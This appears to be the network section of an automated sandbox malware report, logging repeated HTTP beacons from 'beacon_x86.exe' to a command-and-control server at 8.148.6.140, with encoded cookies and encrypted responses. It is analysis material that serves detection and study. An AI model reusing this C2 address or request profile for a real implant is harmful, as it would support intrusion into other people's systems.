Jan 10, 2025 09:35:53.354962111 CET	80	49987	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:54.346221924 CET	80	49987	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:54.346281052 CET	80	49987	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:54.346582890 CET	49987	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:54.346582890 CET	49987	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:54.346729040 CET	49987	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:54.351588011 CET	80	49987	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:08.906637907 CET	49988	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:08.911773920 CET	80	49988	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:08.911864042 CET	49988	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:08.911976099 CET	49988	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:08.916862965 CET	80	49988	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:09.860977888 CET	80	49988	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:09.861033916 CET	80	49988	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:09.861068010 CET	49988	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:09.861093044 CET	49988	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:09.861226082 CET	49988	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:09.866003990 CET	80	49988	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:18.563385963 CET	49989	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:18.568629026 CET	80	49989	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:18.568744898 CET	49989	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:18.569010973 CET	49989	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:18.573852062 CET	80	49989	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:19.533714056 CET	80	49989	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:19.533763885 CET	80	49989	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:19.533796072 CET	80	49989	8.148.6.140	192.168.2.5
Jan 10, 2025 09:36:19.533793926 CET	49989	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:19.533884048 CET	49989	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:36:19.533884048 CET	49989	80	192.168.2.5	8.148.6.140

HTTP Request Dependency Graph

8.148.6.140

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:33:14.746783972 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:33:15.723031998 CET	529	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:33:15 GMT Server: nginx Content-Length: 344 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 48 55 70 78 53 4a 6f 69 37 47 33 43 2f 62 7a 41 53 68 75 48 50 67 61 70 51 63 67 4d 6c 6e 75 43 33 41 34 44 4b 33 2b 58 38 67 63 4a 51 41 41 52 65 49 2b 6b 57 66 4c 48 56 2b 59 66 48 74 65 51 78 47 72 47 42 45 4e 33 77 30 2f 6a 52 48 2b 78 4e 63 6a 34 67 54 61 63 66 32 39 53 37 55 48 73 38 78 37 35 74 67 5a 6d 59 32 4f 50 43 55 33 49 54 76 70 43 33 69 71 4e 56 74 71 63 55 51 73 6d 42 56 6b 66 2b 37 33 57 34 53 39 36 76 59 55 73 6c 55 75 79 66 47 77 61 6b 48 5a 58 43 53 53 6d 58 4f 62 4a 48 56 73 59 4d 4d 48 49 4d 73 63 69 42 4c 6c 36 72 4f 59 42 51 70 4b 6b 65 42 61 55 58 38 42 47 58 4b 44 61 55 56 78 6c 6e 70 58 72 78 49 67 6a 30 73 4c 2f 78 37 2f 61 71 37 37 62 47 57 70 4f 46 77 57 4c 35 54 36 4d 67 56 6c 53 2f 35 6d 79 32 79 33 4b 37 6d 52 39 6f 4c 4b 69 31 41 6d 70 49 36 52 52 33 30 52 6c 41 7a 63 75 68 77 53 31 48 49 6d 56 52 69 42 48 6e 6f 6e 38 56 57 52 39 58 31 72 65 57 42 63 6b 76 54 36 58 72 2f 39 73 71 70 53 63 76 64 37 62 45 61 4b 63 50 75 7a 54 31 34 41 35 63 48 43 54 4b 32 38 39 76 65 [TRUNCATED] Data Ascii: HUpxSJoi7G3C/bzAShuHPgapQcgMlnuC3A4DK3+X8gcJQAAReI+kWfLHV+YfHteQxGrGBEN3w0/jRH+xNcj4gTacf29S7UHs8x75tgZmY2OPCU3ITvpC3iqNVtqcUQsmBVkf+73W4S96vYUslUuyfGwakHZXCSSmXObJHVsYMMHIMsciBLl6rOYBQpKkeBaUX8BGXKDaUVxlnpXrxIgj0sL/x7/aq77bGWpOFwWL5T6MgVlS/5my2y3K7mR9oLKi1AmpI6RR30RlAzcuhwS1HImVRiBHnon8VWR9X1reWBckvT6Xr/9sqpScvd7bEaKcPuzT14A5cHCTK289ve+ayQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:33:27.206543922 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:33:28.167161942 CET	505	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:33:28 GMT Server: nginx Content-Length: 320 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 38 38 72 52 36 6a 66 32 6c 42 62 5a 6a 34 46 6b 4c 30 68 2f 37 2f 4d 36 56 2f 4b 6e 53 79 77 47 72 43 47 72 69 4b 30 50 65 48 37 54 7a 62 64 51 58 49 64 68 66 6c 6a 6b 38 64 68 61 79 4f 70 39 49 4f 54 47 34 43 72 56 32 6b 54 51 44 54 76 4a 63 58 73 33 2f 75 51 4e 31 51 57 49 53 56 6c 53 75 2b 6d 52 42 53 42 70 38 6b 4a 4e 71 36 54 70 4b 35 4d 49 71 37 33 42 6a 6c 73 39 58 46 41 79 4c 64 71 7a 54 55 6c 36 65 56 6f 35 36 61 59 53 38 7a 6b 77 6b 64 57 30 49 54 58 4b 54 53 65 41 6c 37 6a 52 49 66 30 47 39 70 79 79 73 77 68 47 4c 6a 50 6a 36 71 45 35 31 35 47 65 55 2f 75 73 78 41 2b 5a 68 6c 53 4e 63 32 45 72 69 79 4a 65 67 69 76 39 58 33 4d 4c 62 73 33 5a 79 67 75 55 32 50 49 30 49 68 65 51 4c 77 4b 64 50 5a 56 70 79 50 58 49 61 4d 65 4f 33 4f 48 7a 54 31 42 75 63 64 50 73 38 69 72 41 45 48 66 57 52 79 36 55 72 4c 71 6f 49 64 46 4a 4d 7a 49 51 45 64 64 6c 4e 6d 68 42 6d 75 5a 32 31 49 42 64 31 77 70 48 67 51 49 6a 65 33 37 58 41 59 39 75 74 6a 47 53 Data Ascii: 88rR6jf2lBbZj4FkL0h/7/M6V/KnSywGrCGriK0PeH7TzbdQXIdhfljk8dhayOp9IOTG4CrV2kTQDTvJcXs3/uQN1QWISVlSu+mRBSBp8kJNq6TpK5MIq73Bjls9XFAyLdqzTUl6eVo56aYS8zkwkdW0ITXKTSeAl7jRIf0G9pyyswhGLjPj6qE515GeU/usxA+ZhlSNc2EriyJegiv9X3MLbs3ZyguU2PI0IheQLwKdPZVpyPXIaMeO3OHzT1BucdPs8irAEHfWRy6UrLqoIdFJMzIQEddlNmhBmuZ21IBd1wpHgQIje37XAY9utjGS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49786	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:33:43.116868973 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:33:53.089167118 CET	185	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:33:52 GMT Server: nginx Content-Length: 300 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache
Jan 10, 2025 09:33:53.089340925 CET	300	IN	Data Raw: 6d 37 55 72 52 4a 76 70 65 6d 52 6c 48 4c 69 78 54 59 7a 2b 57 79 4e 42 43 33 6a 4d 38 61 48 59 55 35 4b 6d 58 4b 4a 51 64 68 42 39 34 74 56 46 68 53 30 44 6e 77 75 2b 42 36 48 73 44 4f 37 31 74 64 2f 63 37 73 6d 32 75 43 63 57 32 75 71 4d 50 79 Data Ascii: m7UrRJvpemRlHLixTYz+WyNBC3jM8aHYU5KmXKJQdhB94tVFhS0Dnwu+B6HsDO71td/c7sm2uCcW2uqMPyky6rYIDLVHnRDlu8Fxc2z4eCLhpNjD/7AdGrM/lIaiF/qHbOLdbYPCTq93qwV2HuewCIWxCm+eoH0k5B6OjQcy3WVe16DKxyqKGyH4W7iFAilMAqYNa9ouZaSkN6Pc7OXAp48wM0aIuAwzKWf+RCsL/eGODofO+h0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49902	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:34:01.538283110 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:34:02.534269094 CET	421	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:34:02 GMT Server: nginx Content-Length: 236 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 70 6b 33 51 79 4f 57 6c 31 4f 35 57 43 2b 4b 61 6b 58 4f 2f 71 79 71 54 79 4f 57 45 38 50 72 77 4c 44 48 2f 36 50 65 56 7a 72 49 69 74 6c 54 4f 67 4a 65 30 43 6b 55 6b 31 52 4c 35 48 74 50 5a 4a 57 57 52 2f 31 74 32 75 33 6a 6f 57 71 56 56 48 73 41 33 4f 50 46 70 4a 78 36 57 46 4a 79 67 4d 4b 6d 43 38 43 64 77 42 4e 78 4f 71 56 55 39 6b 50 76 77 2b 74 42 35 70 2f 44 4d 55 34 74 4e 4f 2b 68 59 62 6a 62 70 46 6f 76 74 7a 50 66 59 55 7a 72 32 31 57 51 6b 43 52 4b 50 51 63 4f 2b 34 4a 6f 32 73 48 6e 2b 36 4b 6c 61 36 47 6c 32 4f 67 6f 72 50 4f 72 74 71 71 70 70 52 6f 6c 4f 33 4f 75 47 38 42 50 65 53 57 79 56 42 68 2f 6a 5a 43 31 58 31 58 70 31 4f 39 54 41 57 56 6c 6b 46 32 62 4f 4a 6c 38 72 52 31 63 3d Data Ascii: pk3QyOWl1O5WC+KakXO/qyqTyOWE8PrwLDH/6PeVzrIitlTOgJe0CkUk1RL5HtPZJWWR/1t2u3joWqVVHsA3OPFpJx6WFJygMKmC8CdwBNxOqVU9kPvw+tB5p/DMU4tNO+hYbjbpFovtzPfYUzr21WQkCRKPQcO+4Jo2sHn+6Kla6Gl2OgorPOrtqqppRolO3OuG8BPeSWyVBh/jZC1X1Xp1O9TAWVlkF2bOJl8rR1c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49979	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:34:13.603579998 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:34:14.582881927 CET	377	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:34:14 GMT Server: nginx Content-Length: 192 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 6b 74 64 6f 37 32 30 38 38 6a 61 43 2b 34 59 35 52 72 53 42 57 31 46 4a 6f 46 6a 36 30 6a 32 6b 50 59 79 7a 61 4c 32 4f 5a 4e 36 4d 33 4a 68 31 49 37 31 4b 50 77 34 48 6a 30 4c 44 43 6e 48 6b 5a 6a 6e 2f 70 62 4f 54 53 4f 61 77 64 6d 38 4e 6a 45 4b 6b 66 50 57 44 48 74 32 41 48 73 65 33 59 63 35 6b 7a 57 39 66 34 46 78 66 70 70 71 6f 6f 56 74 52 70 51 53 47 79 4d 30 77 78 33 38 79 79 37 77 6d 59 44 4b 55 32 77 71 48 52 71 49 5a 58 4e 66 45 38 4b 50 73 4e 32 65 53 74 6c 4d 65 7a 4a 30 70 73 32 4d 33 7a 75 56 52 77 30 4c 6b 79 72 72 4b 68 78 6e 34 36 36 5a 7a 33 55 77 4c Data Ascii: ktdo72088jaC+4Y5RrSBW1FJoFj60j2kPYyzaL2OZN6M3Jh1I71KPw4Hj0LDCnHkZjn/pbOTSOawdm8NjEKkfPWDHt2AHse3Yc5kzW9f4FxfppqooVtRpQSGyM0wx38yy7wmYDKU2wqHRqIZXNfE8KPsN2eStlMezJ0ps2M3zuVRw0LkyrrKhxn466Zz3UwL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49980	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:34:28.881055117 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:34:29.857074976 CET	185	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:34:29 GMT Server: nginx Content-Length: 236 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache
Jan 10, 2025 09:34:29.857170105 CET	236	IN	Data Raw: 71 55 4c 7a 78 6f 67 4d 79 54 4a 4f 6c 71 75 59 64 62 56 2f 4f 32 57 62 69 56 41 30 58 58 30 63 52 71 34 4f 77 30 44 6c 55 5a 42 67 70 41 7a 48 44 39 66 64 73 38 6f 6a 59 47 66 2f 57 37 31 46 66 50 61 64 6c 70 58 2f 34 7a 34 73 61 51 30 6b 48 4a Data Ascii: qULzxogMyTJOlquYdbV/O2WbiVA0XX0cRq4Ow0DlUZBgpAzHD9fds8ojYGf/W71FfPadlpX/4z4saQ0kHJ4DaNffQLEOMm0VpmO1BNKzi4TUaEDkAjvwtcrsRpeI1G5PEN98xgWrJhK9eGlMQU8bossBqS95KAlKjptpwLSqtqE7cuwYPukl/fjZtybWj5IMMgE7Biffu/YBjkq8Fe4VNqI02iekqQp2moAlA3wmiW8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49982	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:34:41.537434101 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:34:42.526767969 CET	337	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:34:42 GMT Server: nginx Content-Length: 152 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 52 2f 6d 38 63 39 56 6d 78 42 69 75 76 2b 34 62 38 34 7a 68 72 59 6f 4f 61 74 76 4f 4f 67 30 47 36 48 43 42 47 50 73 4b 51 65 53 59 55 4b 32 6c 36 32 44 64 65 66 75 59 39 41 44 31 69 67 53 53 35 7a 6b 41 6d 5a 4a 56 44 5a 41 34 57 36 72 45 2f 64 5a 63 7a 4b 35 75 77 48 66 71 71 43 61 64 65 30 7a 32 69 78 39 4d 56 4c 79 42 55 32 2b 4a 4e 5a 50 31 7a 79 64 44 6c 59 76 33 6a 51 70 4a 32 72 6a 75 33 45 42 37 44 44 77 4c 4b 73 34 73 68 4b 42 6c 33 41 3d 3d Data Ascii: R/m8c9VmxBiuv+4b84zhrYoOatvOOg0G6HCBGPsKQeSYUK2l62DdefuY9AD1igSS5zkAmZJVDZA4W6rE/dZczK5uwHfqqCade0z2ix9MVLyBU2+JNZP1zydDlYv3jQpJ2rju3EB7DDwLKs4shKBl3A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49983	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:34:56.225063086 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:34:57.190067053 CET	272	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:34:57 GMT Server: nginx Content-Length: 88 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 54 30 74 50 32 73 57 48 68 76 36 41 74 36 2f 42 6c 6c 30 6b 6e 2b 36 52 72 70 67 74 78 34 48 39 44 2f 33 2f 6f 31 43 6e 36 62 73 38 36 34 41 39 68 49 6d 59 62 59 53 70 34 79 76 64 37 67 76 79 44 52 4a 4d 49 65 79 69 2f 50 53 6c 62 47 70 65 47 74 63 68 45 77 3d 3d Data Ascii: T0tP2sWHhv6At6/Bll0kn+6Rrpgtx4H9D/3/o1Cn6bs864A9hImYbYSp4yvd7gvyDRJMIeyi/PSlbGpeGtchEw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49984	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:35:07.959367037 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:35:08.935903072 CET	184	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:35:08 GMT Server: nginx Content-Length: 88 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache
Jan 10, 2025 09:35:08.935966015 CET	88	IN	Data Raw: 4a 4a 75 46 48 2b 6b 6b 48 53 78 6f 6d 76 2b 52 48 57 76 41 71 2f 39 32 6b 73 78 6e 7a 5a 78 57 39 47 76 7a 53 57 6f 34 4f 4c 36 63 61 33 39 66 68 6c 63 35 58 56 73 54 59 6d 74 55 49 74 33 62 65 77 52 79 4a 74 34 6e 67 74 5a 58 69 50 33 6c 4b 56 Data Ascii: JJuFH+kkHSxomv+RHWvAq/92ksxnzZxW9GvzSWo4OL6ca39fhlc5XVsTYmtUIt3bewRyJt4ngtZXiP3lKVwCyQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49985	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:35:23.515551090 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:35:24.504993916 CET	337	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:35:24 GMT Server: nginx Content-Length: 152 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 70 33 78 6c 4f 7a 33 7a 6e 76 56 49 35 73 6a 62 4e 4a 62 6b 4e 6d 6c 39 52 57 6e 64 54 6e 39 52 6f 68 37 64 64 33 44 65 79 6d 7a 76 55 50 69 54 69 38 65 44 35 47 76 6d 54 4a 70 6c 37 65 50 36 7a 70 35 36 32 41 5a 6a 79 77 33 6a 31 50 30 44 55 71 49 39 34 55 62 5a 55 46 61 63 76 54 47 77 79 50 72 6a 53 46 6d 4b 59 78 33 57 64 4a 71 53 47 62 47 56 4c 73 78 54 72 72 44 47 59 33 6c 6c 4f 4f 6d 32 49 73 47 47 64 6d 54 32 35 79 38 6b 6e 52 45 33 6f 41 3d 3d Data Ascii: p3xlOz3znvVI5sjbNJbkNml9RWndTn9Roh7dd3DeymzvUPiTi8eD5GvmTJpl7eP6zp562AZjyw3j1P0DUqI94UbZUFacvTGwyPrjSFmKYx3WdJqSGbGVLsxTrrDGY3llOOm2IsGGdmT25y8knRE3oA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49986	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:35:37.865269899 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:35:39.461031914 CET	421	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:35:39 GMT Server: nginx Content-Length: 236 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 50 4d 66 6c 6d 42 5a 30 44 77 68 36 54 2b 6c 46 68 49 2f 71 5a 6f 57 78 49 4e 2b 49 4b 36 46 41 32 50 66 6e 78 46 39 44 45 51 42 39 2f 2f 51 71 6d 63 48 62 66 36 39 6e 6c 69 4e 65 76 68 54 76 5a 51 6c 69 48 35 6c 59 33 53 70 75 42 6b 31 58 69 61 61 6f 76 30 6f 65 57 51 4a 65 71 66 6f 51 4f 30 6f 32 47 41 6d 76 6d 71 65 4e 36 5a 44 6c 4e 7a 58 53 39 4d 30 59 41 68 37 67 69 46 61 6d 53 45 51 41 6b 74 53 39 41 32 49 6c 4c 6f 50 65 4b 2b 4b 6e 78 31 2f 52 41 36 37 45 76 62 68 56 61 57 6f 59 57 6d 4b 76 37 71 6d 70 78 75 74 56 6d 32 49 4c 54 37 66 44 72 6b 45 63 39 61 38 4b 66 72 72 56 6f 4f 6f 48 44 4a 76 6e 66 48 4e 48 42 53 6c 58 62 69 2b 36 5a 4b 68 34 69 61 75 66 66 39 39 6b 4d 56 6a 59 45 6b 77 3d Data Ascii: 